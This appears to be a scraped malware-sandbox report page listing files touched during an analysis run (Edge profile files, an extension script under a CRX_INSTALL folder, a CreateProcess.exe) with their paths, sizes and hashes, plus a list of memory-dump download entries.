Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 6ac6cdf95330385c22d717b90a19e8dbaf66dcf20a78fb7c326088a113b13a84
MD5 62aa0742eea5883c5c3f32824e2577f2
SHA1 19de0efddf62974bb295d6fd13e4a26b007d93e1
SHA512 457b7669a01e88951c4f01d17e7c5cf21e05f1cac123a9abc4e2ccdc4c64cfa6b9c40b91338555d566703530bc5efdc128167a416457a7b34f5e09f4cba39bd2
SSDEEP 768:dOwS1wBzwRbU7pLuL761wiWg1zwsfMZwK8F1+UoAYDCx9Tuqh0VfUC9xbog/OVDy:dOwS1wBzwRbYE761wiWg1zwsfMZwKu1s
TLSH
T130E2EC3B684CCB7F4F404A9CEC29BD9A6DE801CF56D8895447FA880C03C66EB551B5DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe5a4102.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe5a4102.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 7d72818257f825d6f0a99b58702ac73341be189dd5b5df262129a8ca9b43a643
MD5 79e2e3409a66720b7a3cf3e009ec7357
SHA1 22905062a0c7eed890a40b0cec2d03aec676d919
SHA512 07e6353f58c1dc77194419f122714f0782af841fccdbb863076be73731e0b46f953a0e6e4d521222c3a6e65a8ce488b3ae8761184b64273876c53fdd4f7aa171
SSDEEP 768:VHj+9K3YY8jHx4h06aOu37BtAwjUSzFEb9Mc:Vq9K3YY87x4buoTdb+c
TLSH
T185F2BF30A8448E638CE7D798B35A2B86EFF051B7C5852F84D8ED6F0D058726C274792B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 d109987f53d772ce5b31cbf64a80bc922cab4df71aa4957c4d11543eb999733c
MD5 5a3c1c7eb95217db08b669bda9d55673
SHA1 a89a8a89c81d4b0f78c0bc396144048638f6e65a
SHA512 75e90186dc1ee9b06481880d7fbfc564a24fdc02c7adef7d84e149801b577dc85b69419d6620d6ab3ab9bb2057eeb14d84fac8706c96feb0df487a5f2f481698
SSDEEP 768:9iF1j+9K3YwgeYo7Htc06a7u37BtAwjUSzFEb9Mc:9X9K3nYoTFuoTdb+c
TLSH
T190038E32D844CA67ACE787D9B3193B86DFE051B7C5886EC4D9D86E0D00C72AD170BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 67c2a4235c487497794371b397d6f498ea66caaccd5a889c81aaa6f9a868b8c6
MD5 95c8b8ec316eee40c4b23d51d1dfb105
SHA1 5e58664aa0761e3b89be6bab991ad99837c5e953
SHA512 61e6959de2f3c59b4997c880e99542fdb60ab3b9fda7e9823fd5649d8595479681f03efbcabf3610a59730ebb8117b07baff98439b0fc1b570e50f9f45a2913b
SSDEEP 768:CIrv+4UNbdX3zW/Hz4h066u37BtAwjUSzZGUikB+:CIbsbR3zWfz4WuoTTUJI
TLSH
T1AD03BF32984499379CF6D289B24B6A43AFF45163D6891F94C8ED2B0D428B15D230BE77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

c402c37d-9381-4c20-a428-9aa2233ed43f.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\c402c37d-9381-4c20-a428-9aa2233ed43f.tmp
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir3752_1981981774\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 4f10b8f3d1e9b3b5328dd5570b5fef4552e27e209f30559c6c4d56dba830dea1
MD5 358db499b56cf0d4bda5e2300b10114c
SHA1 df02e7aa7cb1e0f12e7b23b0709a256ff2d97946
SHA512 63263b7008ad2bbdb8ddf2c37659b723410341a16bfc8745be826c7a4d341f4ac18984b26c5e72ca6170d8d75bac30b0980139249cd4e9fb18759660537041b5
TLSH
T1FE71008357A9C9B2C6DA9BF102835608F5FB22380B2330204B555546AA30A7A28B8F44
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1128-434-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2044-449-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2500-66-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2572-299-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2836-197-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2900-499-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3028-474-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3380-272-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3444-374-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3528-394-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3556-326-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3576-341-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4828-322-0x0000000000170000-0x00000000001CF000-memory.dmp

Download

memory/4832-438-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4840-414-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5484-321-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5572-244-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5672-366-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5844-470-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5924-284-0x0000000000010000-0x00000000000AB000-memory.dmp

Download